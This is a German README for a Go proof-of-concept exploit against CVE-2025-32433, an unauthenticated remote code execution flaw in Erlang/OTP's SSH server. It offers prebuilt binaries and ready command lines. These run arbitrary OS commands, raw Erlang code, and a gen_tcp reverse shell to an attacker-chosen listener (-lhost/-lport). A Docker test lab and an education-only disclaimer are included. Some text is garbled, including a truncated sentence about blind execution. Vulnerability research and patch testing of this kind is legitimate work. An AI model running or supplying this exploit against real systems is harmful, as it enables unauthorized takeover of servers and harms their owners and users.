
Go-PoC für CVE-2025-32433 — nicht authentifizierte RCE in Erlang/OTP SSH.
CVE-2025-32433 ist eine kritische, nicht authentifizierte Remote-Code-Ausführungsschwachstelle im SSH-Server von Erlang/OTP. Vor den gepatchten Versionen verarbeitet der SSH-Daemon Kanalnachrichten fälschlicherweise, bevor die Authentifizierung abgeschlossen ist, sodass ein Angreifer einen Kanal öffnen und exec-Anfragen senden kann, ohne jemals Anmeldeinformationen zu liefern. Jede Anwendung, die den SSH-Server von Erlang/OTP einbettet (einschließlich Elixir, RabbitMQ, CouchDB und anderer), ist betroffen, wenn der SSH-Port offengelegt ist.
Dieses Go-PoC verbindet sich zu einem Ziel-SSH-Port, sendet ein manipuliertes SSH_MSG_CHANNEL_OPEN gefolgt von einer SSH_MSG_CHANNEL_REQUEST-Exec-Payload – vollständig vor der Authentifizierung – und veranlasst den entfernten Erlang-Knoten, beliebige Betriebssystembefehle auszuführen. Die Ausführung ist : Es wird keine Befehlsausgabe an den Angreifer zurückgegeben.
Betroffene Versionen: Erlang/OTP < 27.3.3, < 26.2.5.11, < 25.3.2.20
bash -c ausführen, automatisch in Erlangs os:cmd eingewickeltgen_tcp-Reverse-Shell bereitstellen, ohne auf bash oder /dev/tcp angewiesen zu seinVorgefertigte Binärdateien für macOS, Linux und Windows sind auf der Releases-Seite verfügbar. Laden Sie die Binärdatei für Ihre Plattform herunter und führen Sie sie direkt aus – keine Go-Installation erforderlich.
Oder aus dem Quellcode erstellen:
[!NOTE] Erfordert Go 1.21+. Keine externen Abhängigkeiten – verwendet nur die Go-Standardbibliothek.
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433 cve-2025-32433.go
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433.exe cve-2025-32433.go
go install github.com/joshuavanderpoll/cve-2025-32433@latest
go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 192.168.1.100 -port 22
Usage of ./cve-2025-32433:
-host string
Target IP or hostname
-port int
SSH port (default: 22) (default 22)
-timeout int
Connection timeout in seconds (default: 5) (default 5)
-command string
Shell command to run on the target (wrapped in os:cmd)
-code string
Raw Erlang expression to execute on the target
-shell
Send an Erlang-native gen_tcp reverse shell
-lhost string
Listener IP for reverse shell (required with -shell)
-lport int
Listener port for reverse shell (default: 4444)
./cve-2025-32433 -host 127.0.0.1 -port 2222

./cve-2025-32433 -host 127.0.0.1 -port 2222 -command 'whoami > /tmp/out2.txt'

Das Flag -shell sendet eine native Erlang gen_tcp-Reverse-Shell-Payload – kein bash oder /dev/tcp erforderlich. Starten Sie zuerst einen Listener, dann senden Sie den Exploit.
./cve-2025-32433 -host 127.0.0.1 -port 2222 -shell -lhost host.docker.internal -lport 4444

Das Flag -code sendet einen rohen Erlang-Ausdruck direkt – kein bash -c-Wrapper. Nützlich für reine Erlang-Operationen oder wenn bash auf dem Ziel nicht verfügbar ist. Da die Ausführung blind ist, schreiben Sie die Ausgabe in eine Datei und rufen Sie sie separat ab.
./cve-2025-32433 -host 127.0.0.1 -port 2222 -code 'file:write_file("/tmp/out.txt", os:cmd("id")).'

Weitere Details unter docker/DOCKER.md
cd docker/
docker compose down
docker compose up -d
# You can test at -host 127.0.0.1 -port 2222
Dieses Tool wird nur zu Bildungs- und Forschungszwecken bereitgestellt. Der Ersteller übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch das Tool verursacht werden.